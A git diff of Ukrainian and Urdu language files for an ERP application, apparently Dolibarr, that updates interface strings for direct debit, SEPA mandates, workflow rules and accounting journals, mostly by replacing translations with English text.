b/htdocs/langs/uk_UA/withdrawals.lang @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=Рахунок-фактура чекає к AmountToWithdraw=Сума для зняття AmountToTransfer=Сума для переказу NoInvoiceToWithdraw=Немає рахунка-фактури, відкритого для '%s'. Перейдіть на вкладку «%s» на картці рахунків-фактур, щоб зробити запит. -NoSupplierInvoiceToWithdraw=Рахунок-фактура постачальника з відкритими "Прями кредитними запитами" не очікується. Перейдіть на вкладку «%s» на картці рахунків-фактур, щоб зробити запит. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=Відповідальний користувач WithdrawalsSetup=Налаштування оплати прямого дебету CreditTransferSetup=Налаштування кредитного переказу @@ -42,6 +42,7 @@ CreditTransferStatistics=Статистика кредитних переказ Rejects=Відкидає LastWithdrawalReceipt=Останні квитанції прямого дебету %s MakeWithdrawRequest=Зробіть запит на оплату прямим дебетом +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=Зробіть запит на кредитний переказ WithdrawRequestsDone=%s Записи запитів на оплату прямого дебету BankTransferRequestsDone=%s Записи запитів на переказ кредиту @@ -100,8 +101,11 @@ CreditDate=Кредит на WithdrawalFileNotCapable=Не вдається створити файл квитанції про зняття коштів для вашої країни %s (Ваша країна не підтримується) ShowWithdraw=Показати замовлення прямого дебету IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Однак, якщо в рахунку-фактурі є принаймні одне платіжне доручення прямого дебету, яке ще не оброблено, воно не буде визначено як оплачене, щоб дозволити попереднє зняття коштів. -DoStandingOrdersBeforePayments=Ця вкладка дозволяє запитати платіжне доручення прямого дебету. Після завершення перейдіть до меню Банк->Оплата прямим дебетом, щоб створити та керувати дорученням прямого дебету. Коли доручення прямого дебету закрито, оплата за рахунками-фактурами буде автоматично записана, а рахунки-фактури закриються, якщо залишок до оплати є нульовим. -DoCreditTransferBeforePayments=На цій вкладці можна запитати доручення кредитного переказу. Після завершення перейдіть до меню Банк->Оплата кредитним переказом, щоб створити та керувати дорученням на кредитний переказ. Коли замовлення на кредитний переказ закрито, оплата за рахунками-фактурами буде автоматично записана, а рахунки-фактури закриються, якщо залишок до оплати є нульовим. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=Файл дебетового доручення CreditTransferFile=Файл переказу кредиту SetToStatusSent=Установити статус «Файл надіслано» @@ -118,7 +122,7 @@ WithdrawRequestErrorNilAmount=Не вдається створити запит SepaMandate=Доручення на прямий дебет SEPA SepaMandateShort=Мандат SEPA PleaseReturnMandate=Будь ласка, поверніть цю форму доручення електронною поштою на адресу %s або поштою на адресу -SEPALegalText=Підписуючи цю форму доручення, ви уповноважуєте (A) %s надсилати інструкції вашому банку щодо списання коштів із вашого рахунку та (B) вашому банку дебетувати ваш рахунок відповідно до інструкцій від %s. Як частина ваших прав, ви маєте право на відшкодування від вашого банку згідно з умовами вашої угоди з вашим банком. Ваші права щодо вищезазначеного мандату пояснюються у заяві, яку ви можете отримати у своєму банку. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=Ідентифікатор кредитора CreditorName=Ім'я кредитора SEPAFillForm=(B) Будь ласка, заповніть усі поля, позначені * diff --git a/htdocs/langs/uk_UA/workflow.lang b/htdocs/langs/uk_UA/workflow.lang index 64e893d5601..f86ee72d0d0 100644 --- a/htdocs/langs/uk_UA/workflow.lang +++ b/htdocs/langs/uk_UA/workflow.lang @@ -22,7 +22,7 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Класифікув descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Класифікувати пов’язане джерело замовлення на закупівлю як отримане, коли прийом підтверджено (і якщо кількість, отримана всіма прийомами, така ж, як у замовленні на покупку для оновлення) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Класифікувати замовлення на закупівлю з пов’язаним джерелом як отримане, коли прийом закритий (і якщо кількість, отримана всіма прийомами, така ж, як у замовленні на покупку для оновлення) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Класифікуйте прийоми як «оплачувані», коли пов’язане замовлення постачальника підтверджено +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=При створенні квитка зв’яжіть доступні контракти відповідної третьої сторони descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=Зв’язуючи договори, шукайте серед тих материнських компаній @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=Закрийте всі заходи, п AutomaticCreation=Автоматичне створення AutomaticClassification=Автоматична класифікація # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Класифікувати відправлення зв’язаного джерела як закрите, коли рахунок-фактура клієнта підтверджено +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) AutomaticClosing=Автоматичне закриття AutomaticLinking=Автоматичне підключення diff --git a/htdocs/langs/ur_PK/accountancy.lang b/htdocs/langs/ur_PK/accountancy.lang index d43f3d80620..69f1111e627 100644 --- a/htdocs/langs/ur_PK/accountancy.lang +++ b/htdocs/langs/ur_PK/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=گاڑی کی واپسی کی قسم منتخب کری ACCOUNTING_EXPORT_PREFIX_SPEC=فائل کے نام کے لیے سابقہ کی وضاحت کریں۔ ThisService=یہ سروس ThisProduct=یہ مصنوعات -DefaultForService=سروس کے لیے ڈیفالٹ -DefaultForProduct=پروڈکٹ کے لیے ڈیفالٹ +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=اس تھرڈ پارٹی کے لیے پروڈکٹ ServiceForThisThirdparty=اس تھرڈ پارٹی کے لیے سروس CantSuggest=تجویز نہیں کر سکتے @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=وینڈرز کے لیے مین اکاؤنٹن MainAccountForUsersNotDefined=صارفین کے لیے مرکزی اکاؤنٹنگ اکاؤنٹ سیٹ اپ میں بیان نہیں کیا گیا ہے۔ MainAccountForVatPaymentNotDefined=VAT ادائیگی کے لیے مرکزی اکاؤنٹنگ اکاؤنٹ سیٹ اپ میں بیان نہیں کیا گیا ہے۔ MainAccountForSubscriptionPaymentNotDefined=رکنیت کی ادائیگی کے لیے مرکزی اکاؤنٹنگ اکاؤنٹ سیٹ اپ میں بیان نہیں کیا گیا ہے۔ +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=اکاؤنٹنگ ایریا AccountancyAreaDescIntro=اکاؤنٹنسی ماڈیول کا استعمال کئی مراحل میں کیا جاتا ہے: @@ -100,7 +101,8 @@ ShowAccountingAccount=حساب کتاب دکھائیں۔ ShowAccountingJournal=اکاؤنٹنگ جرنل دکھائیں۔ ShowAccountingAccountInLedger=لیجر میں حساب کتاب دکھائیں۔ ShowAccountingAccountInJournals=جرائد میں حساب کتاب دکھائیں۔ -AccountAccountingSuggest=اکاؤنٹنگ اکاؤنٹ تجویز کیا گیا۔ +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=ڈیفالٹ اکاؤنٹس MenuBankAccounts=بینک اکاؤنٹ MenuVatAccounts=واٹ اکاؤنٹس @@ -125,6 +127,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=لیجر BookkeepingSubAccount=ذیلی AccountBalance=اکاؤنٹ بیلنس +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=ماخذ آبجیکٹ ریف CAHTF=ٹیکس سے پہلے کل خرید فروش TotalExpenseReport=کل اخراجات کی رپورٹ @@ -164,40 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=ذیلی اکاؤنٹ کے لیے کومبو لسٹ ک ACCOUNTING_DATE_START_BINDING=اکاؤنٹنسی میں بائنڈنگ اور ٹرانسفر شروع کرنے کے لیے تاریخ کی وضاحت کریں۔ اس تاریخ کے نیچے، لین دین کو اکاؤنٹنگ میں منتقل نہیں کیا جائے گا۔ ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=جریدہ فروخت کریں۔ -ACCOUNTING_PURCHASE_JOURNAL=جریدہ خریدیں۔ -ACCOUNTING_MISCELLANEOUS_JOURNAL=متفرق جریدہ +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=اخراجات کی رپورٹ جرنل -ACCOUNTING_SOCIAL_JOURNAL=سماجی جریدہ +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=نیا جریدہ ہے۔ +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=سماجی جریدہ ACCOUNTING_RESULT_PROFIT=نتیجہ اکاؤنٹنگ اکاؤنٹ (منافع) ACCOUNTING_RESULT_LOSS=نتیجہ اکاؤنٹنگ اکاؤنٹ (نقصان) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=بندش کا جریدہ -ACCOUNTING_ACCOUNT_TRANSFER_CASH=عبوری بینک ٹرانسفر کا اکاؤنٹنگ اکاؤنٹ +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=عبوری بینک ٹرانسفر اکاؤنٹ -ACCOUNTING_ACCOUNT_SUSPENSE=انتظار کا حساب کتاب -DONATION_ACCOUNTINGACCOUNT=عطیات کو رجسٹر کرنے کے لیے اکاؤنٹنگ اکاؤنٹ -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=سبسکرپشنز کو رجسٹر کرنے کے لیے اکاؤنٹنگ اکاؤنٹ +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=کسٹمر ڈپازٹ کو رجسٹر کرنے کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=خریدی گئی مصنوعات کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ (اگر پروڈکٹ شیٹ میں وضاحت نہ کی گئی ہو تو استعمال کیا جاتا ہے) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=EEC میں خریدی گئی مصنوعات کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ (اگر پروڈکٹ شیٹ میں وضاحت نہ کی گئی ہو تو استعمال کیا جاتا ہے) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=خریدی گئی اور EEC سے درآمد شدہ مصنوعات کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ (اگر پروڈکٹ شیٹ میں وضاحت نہ کی گئی ہو تو استعمال کیا جاتا ہے) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=فروخت شدہ مصنوعات کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ (اگر پروڈکٹ شیٹ میں وضاحت نہ کی گئی ہو تو استعمال کیا جاتا ہے) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=EEC میں فروخت ہونے والی مصنوعات کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ (اگر پروڈکٹ شیٹ میں اس کی وضاحت نہ کی گئی ہو تو استعمال کیا جاتا ہے) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=EEC سے باہر فروخت اور برآمد کی جانے والی مصنوعات کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ (اگر پروڈکٹ شیٹ میں وضاحت نہ کی گئی ہو تو استعمال کیا جاتا ہے) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=خریدی گئی خدمات کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ (اگر سروس شیٹ میں وضاحت نہ کی گئی ہو تو استعمال کیا جاتا ہے) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=EEC میں خریدی گئی خدمات کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ (اگر سروس شیٹ میں وضاحت نہ کی گئی ہو تو استعمال کیا جاتا ہے) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=خریدی گئی اور EEC سے درآمد شدہ خدمات کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ (اگر سروس شیٹ میں وضاحت نہ کی گئی ہو تو استعمال کیا جاتا ہے) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=فروخت شدہ خدمات کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ (اگر سروس شیٹ میں وضاحت نہ کی گئی ہو تو استعمال کیا جاتا ہے) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=EEC میں فروخت کی جانے والی خدمات کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ (اگر سروس شیٹ میں وضاحت نہ کی گئی ہو تو استعمال کیا جاتا ہے) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=EEC سے فروخت اور برآمد کی جانے والی خدمات کے لیے بطور ڈیفالٹ اکاؤنٹنگ اکاؤنٹ (اگر سروس شیٹ میں وضاحت نہ کی گئی ہو تو استعمال کیا جاتا ہے) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=دستاویز کی قسم Docdate=تاریخ @@ -212,7 +220,8 @@ Codejournal=جرنل JournalLabel=جرنل لیبل NumPiece=ٹکڑا نمبر TransactionNumShort=نمبر لین دین -AccountingCategory=حسب ضرورت گروپ +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=عام لیجر اکاؤنٹ کے لحاظ سے گروپ کریں۔ GroupBySubAccountAccounting=سبلیجر اکاؤنٹ کے لحاظ سے گروپ کریں۔ AccountingAccountGroupsDesc=آپ یہاں اکاؤنٹنگ اکاؤنٹ کے کچھ گروپس کی وضاحت کر سکتے ہیں۔ وہ ذاتی اکاؤنٹنگ رپورٹس کے لیے استعمال کیے جائیں گے۔ @@ -260,19 +269,20 @@ ShowSubtotalByGroup=سطح کے لحاظ سے ذیلی کل دکھائیں۔ Pcgtype=اکاؤنٹ کا گروپ PcgtypeDesc=اکاؤنٹ کے گروپ کو کچھ اکاؤنٹنگ رپورٹس کے لیے پہلے سے طے شدہ 'فلٹر' اور 'گروپنگ' کے معیار کے طور پر استعمال کیا جاتا ہے۔ مثال کے طور پر، 'انکم' یا 'خرچ' کو اخراجات/آمدنی کی رپورٹ بنانے کے لیے مصنوعات کے اکاؤنٹنگ اکاؤنٹس کے لیے بطور گروپ استعمال کیا جاتا ہے۔ +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=قابلِ مصالحت TotalVente=ٹیکس سے پہلے کل کاروبار TotalMarge=فروخت کا کل مارجن -DescVentilCustomer=پروڈکٹ اکاؤنٹنگ اکاؤنٹ سے منسلک (یا نہیں) کسٹمر انوائس لائنوں کی فہرست یہاں دیکھیں -DescVentilMore=زیادہ تر معاملات میں، اگر آپ پہلے سے طے شدہ مصنوعات یا خدمات استعمال کرتے ہیں اور آپ پروڈکٹ/سروس کارڈ پر اکاؤنٹ نمبر سیٹ کرتے ہیں، تو ایپلیکیشن آپ کے انوائس لائنوں اور آپ کے اکاؤنٹس کے چارٹ کے اکاؤنٹنگ اکاؤنٹ کے درمیان تمام پابندیاں لگانے کے قابل ہو جائے گی۔ بٹن کے ساتھ ایک کلک "%s" ۔ اگر اکاؤنٹ کو پروڈکٹ/سروس کارڈز پر سیٹ نہیں کیا گیا تھا یا اگر آپ کے پاس اب بھی کچھ لائنیں ہیں جو اکاؤنٹ سے منسلک نہیں ہیں، تو آپ کو مینو " %s " مینو سے دستی بائنڈنگ کرنا ہوگی۔ -DescVentilDoneCustomer=یہاں انوائس کے صارفین کی لائنوں کی فہرست اور ان کے پروڈکٹ اکاؤنٹنگ اکاؤنٹ سے مشورہ کریں۔ -DescVentilTodoCustomer=انوائس لائنوں کو باندھیں جو پہلے سے پروڈکٹ اکاؤنٹنگ اکاؤنٹ کے ساتھ پابند نہیں ہیں۔ -ChangeAccount=درج ذیل اکاؤنٹنگ اکاؤنٹ کے ساتھ منتخب لائنوں کے لیے پروڈکٹ/سروس اکاؤنٹنگ اکاؤنٹ تبدیل کریں: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=یہاں وینڈر انوائس لائنوں کی فہرست سے مشورہ کریں جو کسی پروڈکٹ اکاؤنٹنگ اکاؤنٹ سے منسلک ہیں یا ابھی تک پابند نہیں ہیں (صرف اکاؤنٹنسی میں پہلے سے منتقل نہیں کیا گیا ریکارڈ نظر آتا ہے) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=یہاں وینڈر انوائس کی لائنوں کی فہرست اور ان کے اکاؤنٹنگ اکاؤنٹ سے مشورہ کریں۔ DescVentilTodoExpenseReport=اخراجات کی رپورٹ لائنوں کو باندھیں جو فیس اکاؤنٹنگ اکاؤنٹ کے ساتھ پہلے سے پابند نہیں ہیں۔ DescVentilExpenseReport=فیس اکاؤنٹنگ اکاؤنٹ سے منسلک (یا نہیں) اخراجات کی رپورٹ لائنوں کی فہرست یہاں دیکھیں @@ -280,24 +290,25 @@ DescVentilExpenseReportMore=اگر آپ اکاؤنٹنگ اکاؤنٹ کو اخ DescVentilDoneExpenseReport=یہاں اخراجات کی رپورٹوں کی فہرست اور ان کے فیس اکاؤنٹنگ اکاؤنٹ سے مشورہ کریں۔ Closure=سالانہ بندش -DescClosure=Consult here the number of movements by month who are not yet validated & locked +DescClosure=Consult here the number of movements by month not yet validated & locked OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Validate and lock record... +ValidateMovements=Validate and lock movements... DescValidateMovements=تحریر، حروف اور حذف میں کسی قسم کی ترمیم یا حذف ممنوع ہو گا۔ مشق کے لیے تمام اندراجات کی توثیق ہونی چاہیے ورنہ بند کرنا ممکن نہیں ہوگا۔ ValidateHistory=خودکار طور پر باندھیں۔ AutomaticBindingDone=خودکار بائنڈنگ ہو گئی (%s) - کچھ ریکارڈ کے لیے خودکار بائنڈنگ ممکن نہیں ہے (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=خرابی، آپ اس اکاؤنٹنگ اکاؤنٹ کو حذف نہیں کر سکتے کیونکہ یہ استعمال کیا گیا ہے۔ +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=توازن FicheVentilation=بائنڈنگ کارڈ GeneralLedgerIsWritten=لین دین لیجر میں لکھا جاتا ہے۔ GeneralLedgerSomeRecordWasNotRecorded=کچھ لین دین کو جرنلائز نہیں کیا جا سکا۔ اگر کوئی اور غلطی کا پیغام نہیں ہے، تو شاید اس کی وجہ یہ ہے کہ وہ پہلے ہی جرنلائز ہو چکے تھے۔ NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=پروڈکٹس کی فہرست کسی اکاؤنٹنگ اکاؤنٹ کے پابند نہیں ہے۔ +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=بائنڈنگ کو تبدیل کریں۔ Accounted=لیجر میں حساب NotYetAccounted=ابھی تک اکاؤنٹنگ میں منتقل نہیں ہوا ہے۔ @@ -320,9 +331,10 @@ AccountingJournalType1=متفرق آپریشنز AccountingJournalType2=سیلز AccountingJournalType3=خریداری AccountingJournalType4=بینک -AccountingJournalType5=اخراجات کی رپورٹ +AccountingJournalType5=Expense reports AccountingJournalType8=انوینٹری AccountingJournalType9=نیا ہے۔ +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=یہ جریدہ پہلے ہی استعمال میں ہے۔ AccountingAccountForSalesTaxAreDefinedInto=نوٹ: سیلز ٹیکس کے اکاؤنٹنگ اکاؤنٹ کی وضاحت مینو میں %s - %s a097fz0 a09784a میں کی گئی ہے۔ NumberOfAccountancyEntries=اندراجات کی تعداد @@ -330,10 +342,14 @@ NumberOfAccountancyMovements=نقل و حرکت کی تعداد ACCOUNTING_DISABLE_BINDING_ON_SALES=سیلز پر اکاؤنٹنسی میں بائنڈنگ اور ٹرانسفر کو غیر فعال کریں (کسٹمر انوائس کو اکاؤنٹنگ میں مدنظر نہیں رکھا جائے گا) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=خریداری پر اکاؤنٹنسی میں بائنڈنگ اور ٹرانسفر کو غیر فعال کریں (وینڈر انوائس کو اکاؤنٹنگ میں مدنظر نہیں رکھا جائے گا) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=اخراجات کی رپورٹوں پر اکاؤنٹنسی میں بائنڈنگ اور ٹرانسفر کو غیر فعال کریں (اکاؤنٹنگ میں اخراجات کی رپورٹوں کو مدنظر نہیں رکھا جائے گا) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Date validation and lock ConfirmExportFile=اکاؤنٹنگ برآمد فائل کی نسل کی تصدیق؟ ExportDraftJournal=ڈرافٹ جرنل برآمد کریں۔ @@ -390,7 +406,7 @@ SaleLocal=مقامی فروخت SaleExport=برآمد کی فروخت SaleEEC=ای ای سی میں فروخت SaleEECWithVAT=VAT کے ساتھ EEC میں فروخت کالعدم نہیں، لہذا ہم سمجھتے ہیں کہ یہ انٹرا کمیونٹری سیل نہیں ہے اور تجویز کردہ اکاؤنٹ معیاری پروڈکٹ اکاؤنٹ ہے۔ -SaleEECWithoutVATNumber=بغیر VAT کے EEC میں فروخت لیکن تیسرے فریق کی VAT ID کی وضاحت نہیں کی گئی ہے۔ ہم معیاری فروخت کے لیے پروڈکٹ اکاؤنٹ پر فال بیک کرتے ہیں۔ اگر ضرورت ہو تو آپ فریق ثالث کی VAT ID یا پروڈکٹ اکاؤنٹ کو ٹھیک کر سکتے ہیں۔ +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=ممنوع: لین دین کی توثیق اور/یا برآمد کی گئی ہے۔ ForbiddenTransactionAlreadyValidated=ممنوع: لین دین کی توثیق کر دی گئی ہے۔ ## Dictionary @@ -399,7 +415,11 @@ Calculated=حساب لگایا Formula=فارمولا ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -408,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -429,6 +450,7 @@ AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=اکاؤنٹنگ اندراجات @@ -455,6 +477,7 @@ FECFormatMulticurrencyCode=ملٹی کرنسی کوڈ (آئیڈیوائز) DateExport=تاریخ برآمد WarningReportNotReliable=انتباہ، یہ رپورٹ لیجر پر مبنی نہیں ہے، لہذا اس میں لیجر میں دستی طور پر ترمیم شدہ لین دین شامل نہیں ہے۔ اگر آپ کی جرنلائزیشن اپ ٹو ڈیٹ ہے، تو بک کیپنگ کا نظریہ زیادہ درست ہے۔ ExpenseReportJournal=اخراجات کی رپورٹ جرنل 